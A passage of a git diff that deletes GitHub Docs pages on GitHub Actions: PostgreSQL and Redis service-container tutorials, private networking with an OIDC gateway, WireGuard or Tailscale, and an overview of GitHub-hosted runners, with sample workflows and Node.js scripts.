Kelly Jr St, San Francisco, CA 94107, United States', 'octocat@github.com'] - -pgclient.query(table, (err, res) => { - if (err) throw err -}); - -pgclient.query(text, values, (err, res) => { - if (err) throw err -}); - -pgclient.query('SELECT * FROM student', (err, res) => { - if (err) throw err - console.log(err, res.rows) // Print the data in student table - pgclient.end() -}); -``` - -The script creates a new connection to the PostgreSQL service, and uses the `POSTGRES_HOST` and `POSTGRES_PORT` environment variables to specify the PostgreSQL service IP address and port. If `host` and `port` are not defined, the default host is `localhost` and the default port is 5432. - -The script creates a table and populates it with placeholder data. To test that the `postgres` database contains the data, the script prints the contents of the table to the console log. - -When you run this workflow, you should see the following output in the "Connect to PostgreSQL" step, which confirms that you successfully created the PostgreSQL table and added data: - -```text -null [ { id: 1, - firstname: 'Mona the', - lastname: 'Octocat', - age: 9, - address: - '88 Colin P Kelly Jr St, San Francisco, CA 94107, United States', - email: 'octocat@github.com' } ] -``` diff --git a/content/actions/use-cases-and-examples/using-containerized-services/creating-redis-service-containers.md b/content/actions/use-cases-and-examples/using-containerized-services/creating-redis-service-containers.md deleted file mode 100644 index 0940c1b28e7a..000000000000 --- a/content/actions/use-cases-and-examples/using-containerized-services/creating-redis-service-containers.md +++ /dev/null @@ -1,335 +0,0 @@ ---- -title: Creating Redis service containers -shortTitle: Create Redis service containers -intro: You can use service containers to create a Redis client in your workflow. This guide shows examples of creating a Redis service for jobs that run in containers or directly on the runner machine. -redirect_from: - - /actions/automating-your-workflow-with-github-actions/creating-redis-service-containers - - /actions/configuring-and-managing-workflows/creating-redis-service-containers - - /actions/guides/creating-redis-service-containers - - /actions/using-containerized-services/creating-redis-service-containers -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - Containers - - Docker ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -This guide shows you workflow examples that configure a service container using the Docker Hub `redis` image. The workflow runs a script to create a Redis client and populate the client with data. To test that the workflow creates and populates the Redis client, the script prints the client's data to the console. - -{% data reusables.actions.docker-container-os-support %} - -## Prerequisites - -{% data reusables.actions.service-container-prereqs %} - -You may also find it helpful to have a basic understanding of YAML, the syntax for {% data variables.product.prodname_actions %}, and Redis. For more information, see: - -* [AUTOTITLE](/actions/learn-github-actions) -* [Getting Started with Redis](https://redislabs.com/get-started-with-redis/) in the Redis documentation - -## Running jobs in containers - -{% data reusables.actions.container-jobs-intro %} - -{% data reusables.actions.copy-workflow-file %} - -```yaml copy -name: Redis container example -on: push - -jobs: - # Label of the container job - container-job: - # Containers must run in Linux based operating systems - runs-on: ubuntu-latest - # Docker Hub image that `container-job` executes in - container: node:20-bookworm-slim - - # Service containers to run with `container-job` - services: - # Label used to access the service container - redis: - # Docker Hub image - image: redis - # Set health checks to wait until redis has started - options: >- - --health-cmd "redis-cli ping" - --health-interval 10s - --health-timeout 5s - --health-retries 5 - - steps: - # Downloads a copy of the code in your repository before running CI tests - - name: Check out repository code - uses: {% data reusables.actions.action-checkout %} - - # Performs a clean installation of all dependencies in the `package.json` file - # For more information, see https://docs.npmjs.com/cli/ci.html - - name: Install dependencies - run: npm ci - - - name: Connect to Redis - # Runs a script that creates a Redis client, populates - # the client with data, and retrieves data - run: node client.js - # Environment variable used by the `client.js` script to create a new Redis client. - env: - # The hostname used to communicate with the Redis service container - REDIS_HOST: redis - # The default Redis port - REDIS_PORT: 6379 -``` - -### Configuring the container job - -{% data reusables.actions.service-container-host %} - -{% data reusables.actions.redis-label-description %} - -```yaml copy -jobs: - # Label of the container job - container-job: - # Containers must run in Linux based operating systems - runs-on: ubuntu-latest - # Docker Hub image that `container-job` executes in - container: node:20-bookworm-slim - - # Service containers to run with `container-job` - services: - # Label used to access the service container - redis: - # Docker Hub image - image: redis - # Set health checks to wait until redis has started - options: >- - --health-cmd "redis-cli ping" - --health-interval 10s - --health-timeout 5s - --health-retries 5 -``` - -### Configuring the steps for the container job - -{% data reusables.actions.service-template-steps %} - -```yaml copy -steps: - # Downloads a copy of the code in your repository before running CI tests - - name: Check out repository code - uses: {% data reusables.actions.action-checkout %} - - # Performs a clean installation of all dependencies in the `package.json` file - # For more information, see https://docs.npmjs.com/cli/ci.html - - name: Install dependencies - run: npm ci - - - name: Connect to Redis - # Runs a script that creates a Redis client, populates - # the client with data, and retrieves data - run: node client.js - # Environment variable used by the `client.js` script to create a new Redis client. - env: - # The hostname used to communicate with the Redis service container - REDIS_HOST: redis - # The default Redis port - REDIS_PORT: 6379 -``` - -{% data reusables.actions.redis-environment-variables %} - -The hostname of the Redis service is the label you configured in your workflow, in this case, `redis`. Because Docker containers on the same user-defined bridge network open all ports by default, you'll be able to access the service container on the default Redis port 6379. - -## Running jobs directly on the runner machine - -When you run a job directly on the runner machine, you'll need to map the ports on the service container to ports on the Docker host. You can access service containers from the Docker host using `localhost` and the Docker host port number. - -{% data reusables.actions.copy-workflow-file %} - -```yaml copy -name: Redis runner example -on: push - -jobs: - # Label of the runner job - runner-job: - # You must use a Linux environment when using service containers or container jobs - runs-on: ubuntu-latest - - # Service containers to run with `runner-job` - services: - # Label used to access the service container - redis: - # Docker Hub image - image: redis - # Set health checks to wait until redis has started - options: >- - --health-cmd "redis-cli ping" - --health-interval 10s - --health-timeout 5s - --health-retries 5 - ports: - # Maps port 6379 on service container to the host - - 6379:6379 - - steps: - # Downloads a copy of the code in your repository before running CI tests - - name: Check out repository code - uses: {% data reusables.actions.action-checkout %} - - # Performs a clean installation of all dependencies in the `package.json` file - # For more information, see https://docs.npmjs.com/cli/ci.html - - name: Install dependencies - run: npm ci - - - name: Connect to Redis - # Runs a script that creates a Redis client, populates - # the client with data, and retrieves data - run: node client.js - # Environment variable used by the `client.js` script to create - # a new Redis client. - env: - # The hostname used to communicate with the Redis service container - REDIS_HOST: localhost - # The default Redis port - REDIS_PORT: 6379 -``` - -### Configuring the runner job - -{% data reusables.actions.service-container-host-runner %} - -{% data reusables.actions.redis-label-description %} - -The workflow maps port 6379 on the Redis service container to the Docker host. For more information about the `ports` keyword, see [AUTOTITLE](/actions/using-containerized-services/about-service-containers#mapping-docker-host-and-service-container-ports). - -```yaml copy -jobs: - # Label of the runner job - runner-job: - # You must use a Linux environment when using service containers or container jobs - runs-on: ubuntu-latest - - # Service containers to run with `runner-job` - services: - # Label used to access the service container - redis: - # Docker Hub image - image: redis - # Set health checks to wait until redis has started - options: >- - --health-cmd "redis-cli ping" - --health-interval 10s - --health-timeout 5s - --health-retries 5 - ports: - # Maps port 6379 on service container to the host - - 6379:6379 -``` - -### Configuring the steps for the runner job - -{% data reusables.actions.service-template-steps %} - -```yaml copy -steps: - # Downloads a copy of the code in your repository before running CI tests - - name: Check out repository code - uses: {% data reusables.actions.action-checkout %} - - # Performs a clean installation of all dependencies in the `package.json` file - # For more information, see https://docs.npmjs.com/cli/ci.html - - name: Install dependencies - run: npm ci - - - name: Connect to Redis - # Runs a script that creates a Redis client, populates - # the client with data, and retrieves data - run: node client.js - # Environment variable used by the `client.js` script to create - # a new Redis client. - env: - # The hostname used to communicate with the Redis service container - REDIS_HOST: localhost - # The default Redis port - REDIS_PORT: 6379 -``` - -{% data reusables.actions.redis-environment-variables %} - -{% data reusables.actions.service-container-localhost %} - -## Testing the Redis service container - -You can test your workflow using the following script, which creates a Redis client and populates the client with some placeholder data. The script then prints the values stored in the Redis client to the terminal. Your script can use any language you'd like, but this example uses Node.js and the `redis` npm module. For more information, see the [npm redis module](https://www.npmjs.com/package/redis). - -You can modify _client.js_ to include any Redis operations needed by your workflow. In this example, the script creates the Redis client instance, adds placeholder data, then retrieves the data. - -{% data reusables.actions.service-container-add-script %} - -```javascript copy -const redis = require("redis"); - -// Creates a new Redis client -// If REDIS_HOST is not set, the default host is localhost -// If REDIS_PORT is not set, the default port is 6379 -const redisClient = redis.createClient({ - url: `redis://${process.env.REDIS_HOST}:${process.env.REDIS_PORT}` -}); - -redisClient.on("error", (err) => console.log("Error", err)); - -(async () => { - await redisClient.connect(); - - // Sets the key "octocat" to a value of "Mona the octocat" - const setKeyReply = await redisClient.set("octocat", "Mona the Octocat"); - console.log("Reply: " + setKeyReply); - // Sets a key to "species", field to "octocat", and "value" to "Cat and Octopus" - const SetFieldOctocatReply = await redisClient.hSet("species", "octocat", "Cat and Octopus"); - console.log("Reply: " + SetFieldOctocatReply); - // Sets a key to "species", field to "dinotocat", and "value" to "Dinosaur and Octopus" - const SetFieldDinotocatReply = await redisClient.hSet("species", "dinotocat", "Dinosaur and Octopus"); - console.log("Reply: " + SetFieldDinotocatReply); - // Sets a key to "species", field to "robotocat", and "value" to "Cat and Robot" - const SetFieldRobotocatReply = await redisClient.hSet("species", "robotocat", "Cat and Robot"); - console.log("Reply: " + SetFieldRobotocatReply); - - try { - // Gets all fields in "species" key - const replies = await redisClient.hKeys("species"); - console.log(replies.length + " replies:"); - replies.forEach((reply, i) => { - console.log(" " + i + ": " + reply); - }); - await redisClient.quit(); - } - catch (err) { - // statements to handle any exceptions - } -})(); -``` - -The script creates a new Redis client using the `createClient` method, which accepts a `host` and `port` parameter. The script uses the `REDIS_HOST` and `REDIS_PORT` environment variables to set the client's IP address and port. If `host` and `port` are not defined, the default host is `localhost` and the default port is 6379. - -The script uses the `set` and `hset` methods to populate the database with some keys, fields, and values. To confirm that the Redis client contains the data, the script prints the contents of the database to the console log. - -When you run this workflow, you should see the following output in the "Connect to Redis" step confirming you created the Redis client and added data: - -```shell -Reply: OK -Reply: 1 -Reply: 1 -Reply: 1 -3 replies: - 0: octocat - 1: dinotocat - 2: robotocat -``` diff --git a/content/actions/use-cases-and-examples/using-containerized-services/index.md b/content/actions/use-cases-and-examples/using-containerized-services/index.md deleted file mode 100644 index aea86fe6f003..000000000000 --- a/content/actions/use-cases-and-examples/using-containerized-services/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Using containerized services -shortTitle: Containerized services -intro: 'You can use containerized services in your {% data variables.product.prodname_actions %} workflows.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /actions/automating-your-workflow-with-github-actions/using-databases-and-services - - /actions/configuring-and-managing-workflows/using-databases-and-service-containers - - /actions/guides/using-databases-and-service-containers - - /actions/using-containerized-services -children: - - /about-service-containers - - /creating-postgresql-service-containers - - /creating-redis-service-containers ---- - diff --git a/content/actions/using-github-hosted-runners/connecting-to-a-private-network/about-private-networking-with-github-hosted-runners.md b/content/actions/using-github-hosted-runners/connecting-to-a-private-network/about-private-networking-with-github-hosted-runners.md deleted file mode 100644 index 30e2e7d8ff5c..000000000000 --- a/content/actions/using-github-hosted-runners/connecting-to-a-private-network/about-private-networking-with-github-hosted-runners.md +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: About private networking with GitHub-hosted runners -shortTitle: About private networking -intro: '{% data reusables.actions.private-networking-intro %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: overview -topics: - - Actions - - Action development - - Azure Virtual Network - - Administrator - - Developer - - CI - - CD ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## About {% data variables.product.prodname_dotcom %}-hosted runners networking - -{% data reusables.actions.about-private-networking-github-hosted-runners %} - -There are a few different approaches you could take to configure this access, each with different advantages and disadvantages. - -## Using an API Gateway with OIDC - -{% data reusables.actions.private-networking-oidc-intro %} For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/connecting-to-a-private-network/using-an-api-gateway-with-oidc). - -## Using WireGuard to create a network overlay - -{% data reusables.actions.private-networking-wireguard-intro %} For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/connecting-to-a-private-network/using-wireguard-to-create-a-network-overlay). - -{% ifversion actions-private-networking-azure-vnet %} - -## Using an Azure Virtual Network (VNET) - -{% data reusables.actions.azure-vnet-network-configuration-intro %} - -{% ifversion fpt %} - -Organization owners using the {% data variables.product.prodname_team %} plan can configure Azure private networking for {% data variables.product.company_short %}-hosted runners at the organization level. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/about-azure-private-networking-for-github-hosted-runners-in-your-organization). - -{% endif %} - -{% ifversion ghec %} - -Enterprises and organizations on {% data variables.product.prodname_ghe_cloud %} or {% data variables.product.prodname_team %} plans can configure Azure private networking for {% data variables.product.company_short %}-hosted runners. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/configuration/configuring-private-networking-for-hosted-compute-products/about-azure-private-networking-for-github-hosted-runners-in-your-enterprise) and [AUTOTITLE](/admin/configuration/configuring-private-networking-for-hosted-compute-products/configuring-private-networking-for-github-hosted-runners-in-your-enterprise#enabling-creation-of-network-configurations-for-organizations). -{% endif %} - -{% endif %} diff --git a/content/actions/using-github-hosted-runners/connecting-to-a-private-network/index.md b/content/actions/using-github-hosted-runners/connecting-to-a-private-network/index.md deleted file mode 100644 index b27809bcc29e..000000000000 --- a/content/actions/using-github-hosted-runners/connecting-to-a-private-network/index.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: 'Connecting to a private network with {% data variables.product.company_short %}-hosted runners' -shortTitle: Private networking -intro: '{% data reusables.actions.private-networking-intro %}' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -children: - - /about-private-networking-with-github-hosted-runners - - /using-an-api-gateway-with-oidc - - /using-wireguard-to-create-a-network-overlay ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} diff --git a/content/actions/using-github-hosted-runners/connecting-to-a-private-network/using-an-api-gateway-with-oidc.md b/content/actions/using-github-hosted-runners/connecting-to-a-private-network/using-an-api-gateway-with-oidc.md deleted file mode 100644 index c73915c5deb8..000000000000 --- a/content/actions/using-github-hosted-runners/connecting-to-a-private-network/using-an-api-gateway-with-oidc.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Using an API gateway with OIDC -shortTitle: Using OIDC -intro: 'You can use OpenID Connect (OIDC) tokens to authenticate your workflow.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Actions - - Developer ---- - -## Using an API gateway with OIDC - -{% data reusables.actions.private-networking-oidc-intro %} For example, you could run an API gateway on the edge of your private network that authenticates incoming requests with the OIDC token and then makes API requests on behalf of your workflow in your private network. - -The following diagram gives an overview of this solution's architecture: - -![Diagram of an OIDC gateway architecture, starting with a {% data variables.product.prodname_actions %} runner and ending with a private network's private service.](/assets/images/help/actions/actions-oidc-gateway.png) - -It's important that you verify not just that the OIDC token came from {% data variables.product.prodname_actions %}, but that it came specifically from your expected workflows, so that other {% data variables.product.prodname_actions %} users aren't able to access services in your private network. You can use OIDC claims to create these conditions. For more information, see [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#defining-trust-conditions-on-cloud-roles-using-oidc-claims). - -The main disadvantages of this approach are that you must implement the API gateway to make requests on your behalf, and you must run the gateway on the edge of your network. - -The following advantages apply. - -* You don't need to configure any firewalls, or modify the routing of your private network. -* The API gateway is stateless and scales horizontally to handle high availability and high throughput. - -For more information, see [a reference implementation of an API Gateway](https://github.com/github/actions-oidc-gateway-example) in the github/actions-oidc-gateway repository. This implementation requires customization for your use case and is not ready-to-run as-is). For more information, see [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect). diff --git a/content/actions/using-github-hosted-runners/connecting-to-a-private-network/using-wireguard-to-create-a-network-overlay.md b/content/actions/using-github-hosted-runners/connecting-to-a-private-network/using-wireguard-to-create-a-network-overlay.md deleted file mode 100644 index 0361d0fc27e5..000000000000 --- a/content/actions/using-github-hosted-runners/connecting-to-a-private-network/using-wireguard-to-create-a-network-overlay.md +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: Using WireGuard to create a network overlay -shortTitle: Using WireGuard -intro: 'You can create an overlay network between your runner and a service in your private network.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Actions - - Developer ---- - -## Using WireGuard to create a network overlay - -{% data reusables.actions.private-networking-wireguard-intro %} - -There are various disadvantages to this approach: - -* To reach WireGuard running on your private service, you will need a well-known IP address and port that your workflow can reference: this can either be a public IP address and port, a port mapping on a network gateway, or a service that dynamically updates DNS. -* WireGuard doesn't handle NAT traversal out of the box, so you'll need to identify a way to provide this service. -* This connection is one-to-one, so if you need high availability or high throughput you'll need to build that on top of WireGuard. -* You'll need to generate and securely store keys for both the runner and your private service. WireGuard uses UDP, so your network must support UDP traffic. - -There are some advantages too, as you can run WireGuard on an existing server so you don't have to maintain separate infrastructure, and it's well supported on {% data variables.product.prodname_dotcom %}-hosted runners. - -## Example: Configuring WireGuard - -This example workflow configures WireGuard to connect to a private service. - -For this example, the WireGuard instance running in the private network has this configuration: -* Overlay network IP address of `192.168.1.1` -* Public IP address and port of `1.2.3.4:56789` -* Public key `examplepubkey1234...` - -The WireGuard instance in the {% data variables.product.prodname_actions %} runner has this configuration: -* Overlay network IP address of `192.168.1.2` -* Private key stores as an {% data variables.product.prodname_actions %} secret under `WIREGUARD_PRIVATE_KEY` - -```yaml -name: WireGuard example - -on: - workflow_dispatch: - -jobs: - wireguard_example: - runs-on: ubuntu-latest - steps: - - run: sudo apt install wireguard - - - run: echo {% raw %}"${{ secrets.WIREGUARD_PRIVATE_KEY }}"{% endraw %} > privatekey - - - run: sudo ip link add dev wg0 type wireguard - - - run: sudo ip address add dev wg0 192.168.1.2 peer 192.168.1.1 - - - run: sudo wg set wg0 listen-port 48123 private-key privatekey peer examplepubkey1234... allowed-ips 0.0.0.0/0 endpoint 1.2.3.4:56789 - - - run: sudo ip link set up dev wg0 - - - run: curl -vvv http://192.168.1.1 -``` - -For more information, see [WireGuard's Quick Start](https://www.wireguard.com/quickstart/), as well as [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions) for how to securely store keys. - -### Using Tailscale to create a network overlay - -Tailscale is a commercial product built on top of WireGuard. This option is very similar to WireGuard, except Tailscale is more of a complete product experience instead of an open source component. - -Its disadvantages are similar to WireGuard: The connection is one-to-one, so you might need to do additional work for high availability or high throughput. You still need to generate and securely store keys. The protocol is still UDP, so your network must support UDP traffic. - -However, there are some advantages over WireGuard: NAT traversal is built-in, so you don't need to expose a port to the public internet. It is by far the quickest of these options to get up and running, since Tailscale provides an {% data variables.product.prodname_actions %} workflow with a single step to connect to the overlay network. - -For more information, see the [Tailscale GitHub Action](https://github.com/tailscale/github-action), as well as [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions) for how to securely store keys. diff --git a/content/actions/using-github-hosted-runners/index.md b/content/actions/using-github-hosted-runners/index.md deleted file mode 100644 index e3e98756b306..000000000000 --- a/content/actions/using-github-hosted-runners/index.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Using GitHub-hosted runners -shortTitle: GitHub-hosted runners -intro: You can use GitHub's runners to execute your GitHub Actions workflows. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -children: - - /using-github-hosted-runners - - /using-larger-runners - - /connecting-to-a-private-network ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} diff --git a/content/actions/using-github-hosted-runners/using-github-hosted-runners/about-github-hosted-runners.md b/content/actions/using-github-hosted-runners/using-github-hosted-runners/about-github-hosted-runners.md deleted file mode 100644 index 3da8be2b246a..000000000000 --- a/content/actions/using-github-hosted-runners/using-github-hosted-runners/about-github-hosted-runners.md +++ /dev/null @@ -1,250 +0,0 @@ ---- -title: About GitHub-hosted runners -shortTitle: About GitHub-hosted runners -intro: '{% data variables.product.prodname_dotcom %} offers hosted virtual machines to run workflows. The virtual machine contains an environment of tools, packages, and settings available for {% data variables.product.prodname_actions %} to use.' -redirect_from: - - /articles/virtual-environments-for-github-actions - - /github/automating-your-workflow-with-github-actions/virtual-environments-for-github-actions - - /github/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners - - /actions/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners - - /actions/reference/virtual-environments-for-github-hosted-runners - - /actions/reference/software-installed-on-github-hosted-runners - - /actions/reference/specifications-for-github-hosted-runners - - /actions/using-github-hosted-runners/about-github-hosted-runners/about-github-hosted-runners -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Overview of {% data variables.product.prodname_dotcom %}-hosted runners - -Runners are the machines that execute jobs in a {% data variables.product.prodname_actions %} workflow. For example, a runner can clone your repository locally, install testing software, and then run commands that evaluate your code. - -{% data variables.product.prodname_dotcom %} provides runners that you can use to run your jobs, or you can [host your own runners](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners). Each {% data variables.product.prodname_dotcom %}-hosted runner is a new virtual machine (VM) hosted by {% data variables.product.prodname_dotcom %} with the runner application and other tools preinstalled, and is available with Ubuntu Linux, Windows, or macOS operating systems. When you use a {% data variables.product.prodname_dotcom %}-hosted runner, machine maintenance and upgrades are taken care of for you. - -{% ifversion not ghes %} - -You can choose one of the standard {% data variables.product.prodname_dotcom %}-hosted runner options or, if you are on the {% data variables.product.prodname_team %} or {% data variables.product.prodname_ghe_cloud %} plan, you can provision a runner with more cores, or a runner that's powered by a GPU processor. These machines are referred to as "{% data variables.actions.hosted_runner %}." For more information, see [AUTOTITLE](/enterprise-cloud@latest/actions/using-github-hosted-runners/about-larger-runners/about-larger-runners). - -Using {% data variables.product.prodname_dotcom %}-hosted runners requires network access with at least 70 kilobits per second upload and download speeds. - -{% endif %} - -{% ifversion github-hosted-runners-emus-entitlements %} - -> [!NOTE] -> {% data reusables.actions.entitlement-minutes-emus %} For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users). - -{% endif %} - -{% ifversion not ghes %} - -## Using a {% data variables.product.prodname_dotcom %}-hosted runner - -To use a {% data variables.product.prodname_dotcom %}-hosted runner, create a job and use `runs-on` to specify the type of runner that will process the job, such as `ubuntu-latest`, `windows-latest`, or `macos-latest`. For the full list of runner types, see [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners/about-github-hosted-runners#supported-runners-and-hardware-resources).{% ifversion repository-actions-runners %} If you have `repo: write` access to a repository, you can view a list of the runners available to use in workflows in the repository. For more information, see [Viewing available runners for a repository](#viewing-available-runners-for-a-repository).{% endif %} - -When the job begins, {% data variables.product.prodname_dotcom %} automatically provisions a new VM for that job. All steps in the job execute on the VM, allowing the steps in that job to share information using the runner's filesystem. You can run workflows directly on the VM or in a Docker container. When the job has finished, the VM is automatically decommissioned. - -The following diagram demonstrates how two jobs in a workflow are executed on two different {% data variables.product.prodname_dotcom %}-hosted runners. - -![Diagram of a workflow that consists of two jobs. One job runs on Ubuntu and the other runs on Windows.](/assets/images/help/actions/overview-github-hosted-runner.png) - -The following example workflow has two jobs, named `Run-npm-on-Ubuntu` and `Run-PSScriptAnalyzer-on-Windows`. When this workflow is triggered, {% data variables.product.prodname_dotcom %} provisions a new virtual machine for each job. - -* The job named `Run-npm-on-Ubuntu` is executed on a Linux VM, because the job's `runs-on:` specifies `ubuntu-latest`. -* The job named `Run-PSScriptAnalyzer-on-Windows` is executed on a Windows VM, because the job's `runs-on:` specifies `windows-latest`. - -```yaml copy -name: Run commands on different operating systems -on: - push: - branches: [ main ] - pull_request: - branches: [ main ] - -jobs: - Run-npm-on-Ubuntu: - name: Run npm on Ubuntu - runs-on: ubuntu-latest - steps: - - uses: {% data reusables.actions.action-checkout %} - - uses: {% data reusables.actions.action-setup-node %} - with: - node-version: '14' - - run: npm help - - Run-PSScriptAnalyzer-on-Windows: - name: Run PSScriptAnalyzer on Windows - runs-on: windows-latest - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Install PSScriptAnalyzer module - shell: pwsh - run: | - Set-PSRepository PSGallery -InstallationPolicy Trusted - Install-Module PSScriptAnalyzer -ErrorAction Stop - - name: Get list of rules - shell: pwsh - run: | - Get-ScriptAnalyzerRule -``` - -While the job runs, the logs and output can be viewed in the {% data variables.product.prodname_dotcom %} UI: - -![Screenshot of a workflow run. The steps for the "Run PSScriptAnalyzer on Windows" job are displayed.](/assets/images/help/repository/actions-runner-output.png) - -{% data reusables.actions.runner-app-open-source %} - -{% ifversion repository-actions-runners %} - -## Viewing available runners for a repository - -{% data reusables.actions.about-viewing-runner-list %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -{% data reusables.repositories.repository-runners %} -1. Review the list of available GitHub-hosted runners for the repository. -{% data reusables.actions.copy-runner-label %} - -{% data reusables.actions.actions-tab-new-runners-note %} - -{% endif %} - -## Supported runners and hardware resources - -{% ifversion actions-hosted-runners %} - -Ranges of {% data variables.product.prodname_dotcom %}-hosted runners are available for use in public and private repositories. - -For lists of available runners, see: -* [Standard runners for **public** repositories](#standard-github-hosted-runners-for-public-repositories) -* {% ifversion ghec %}[Standard runners for **private** and **internal** repositories](#standard-github-hosted-runners-for-internal-and-private-repositories){% else %}[Standard runners for **private** repositories](#standard-github-hosted-runners-for--private-repositories){% endif %} - -{% data variables.product.prodname_dotcom %}-hosted Linux runners support hardware acceleration for Android SDK tools, which makes running Android tests much faster and consumes fewer minutes. For more information on Android hardware acceleration, see [Configure hardware acceleration for the Android Emulator](https://developer.android.com/studio/run/emulator-acceleration) in the Android Developers documentation. - -> [!NOTE] -> The `-latest` runner images are the latest stable images that {% data variables.product.prodname_dotcom %} provides, and might not be the most recent version of the operating system available from the operating system vendor. - -> [!WARNING] -> Beta and Deprecated Images are provided "as-is", "with all faults" and "as available" and are excluded from the service level agreement and warranty. Beta Images may not be covered by customer support. - -{% endif %} - -{% data reusables.actions.supported-github-runners %} - -Workflow logs list the runner used to run a job. For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history). - -### Limitations for arm64 macOS runners - -{% data reusables.actions.macos-runner-limitations %} - -### {% data variables.actions.hosted_runner_caps %}s - -{% data reusables.actions.about-larger-runners %} - -For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/about-larger-runners). - -## Runner Images - -{% data variables.product.github %} maintains our own set of VM images for our standard hosted runners. This includes the images for macOS, x64 linux and Windows images. The list of images and their included tools are managed in the [`actions/runner-images`](https://github.com/actions/runner-images) repository. Our arm64 linux images are partner images, and those are managed in the [`actions/partner-runner-images`](https://github.com/actions/partner-runner-images) repository. - -### Preinstalled software for GitHub-owned images - -The software tools included in our GitHub-owned images are updated weekly. The update process takes several days, and the list of preinstalled software on the `main` branch is updated after the whole deployment ends. - -Workflow logs include a link to the preinstalled tools on the exact runner. To find this information in the workflow log, expand the `Set up job` section. Under that section, expand the `Runner Image` section. The link following `Included Software` will describe the preinstalled tools on the runner that ran the workflow. - -For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history). - -{% data variables.product.prodname_dotcom %}-hosted runners include the operating system's default built-in tools, in addition to the packages listed in the above references. For example, Ubuntu and macOS runners include `grep`, `find`, and `which`, among other default tools. - -{% ifversion actions-sbom %} - -You can also view a software bill of materials (SBOM) for each build of the Windows and Ubuntu runner images. For more information, see [AUTOTITLE](/actions/security-guides/security-hardening-for-github-actions#reviewing-the-supply-chain-for-github-hosted-runners). - -{% endif %} - -### Using preinstalled software - -We recommend using actions to interact with the software installed on runners. This approach has several benefits: -* Usually, actions provide more flexible functionality like version selection, ability to pass arguments, and parameters -* It ensures the tool versions used in your workflow will remain the same regardless of software updates - -If there is a tool that you'd like to request, please open an issue at [actions/runner-images](https://github.com/actions/runner-images). This repository also contains announcements about all major software updates on runners. - -### Installing additional software - -You can install additional software on {% data variables.product.prodname_dotcom %}-hosted runners. For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/customizing-github-hosted-runners). - -## Cloud hosts used by {% data variables.product.prodname_dotcom %}-hosted runners - -{% data variables.product.prodname_dotcom %} hosts Linux and Windows runners on virtual machines in Microsoft Azure with the {% data variables.product.prodname_actions %} runner application installed. The {% data variables.product.prodname_dotcom %}-hosted runner application is a fork of the Azure Pipelines Agent. Inbound ICMP packets are blocked for all Azure virtual machines, so ping or traceroute commands might not work. {% data variables.product.prodname_dotcom %} hosts macOS runners in Azure data centers. - -## Workflow continuity - -{% data reusables.actions.runner-workflow-continuity %} - -In addition, if the workflow run has been successfully queued, but has not been processed by a {% data variables.product.prodname_dotcom %}-hosted runner within 45 minutes, then the queued workflow run is discarded. - -## Administrative privileges - -The Linux and macOS virtual machines both run using passwordless `sudo`. When you need to execute commands or install tools that require more privileges than the current user, you can use `sudo` without needing to provide a password. For more information, see the [Sudo Manual](https://www.sudo.ws/man/1.8.27/sudo.man.html). - -Windows virtual machines are configured to run as administrators with User Account Control (UAC) disabled. For more information, see [How User Account Control works](https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works) in the Windows documentation. - -## IP addresses - -To get a list of IP address ranges that {% data variables.product.prodname_actions %} uses for {% data variables.product.prodname_dotcom %}-hosted runners, you can use the {% data variables.product.prodname_dotcom %} REST API. For more information, see the `actions` key in the response of the `GET /meta` endpoint. For more information, see [AUTOTITLE](/rest/meta/meta#get-github-meta-information). - -Windows and Ubuntu runners are hosted in Azure and subsequently have the same IP address ranges as the Azure datacenters. macOS runners are hosted in {% data variables.product.prodname_dotcom %}'s own macOS cloud. - -Since there are so many IP address ranges for {% data variables.product.prodname_dotcom %}-hosted runners, we do not recommend that you use these as allowlists for your internal resources. Instead, we recommend you use {% data variables.actions.hosted_runner %}s with a static IP address range, or self-hosted runners. For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/about-larger-runners) or [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners). - -The list of {% data variables.product.prodname_actions %} IP addresses returned by the API is updated once a week. - -## Communication requirements for {% data variables.product.prodname_dotcom %}-hosted runners - -A {% data variables.product.github %}-hosted runner must establish connections to {% data variables.product.github %}-owned endpoints to perform essential communication operations. In addition, your runner may require access to 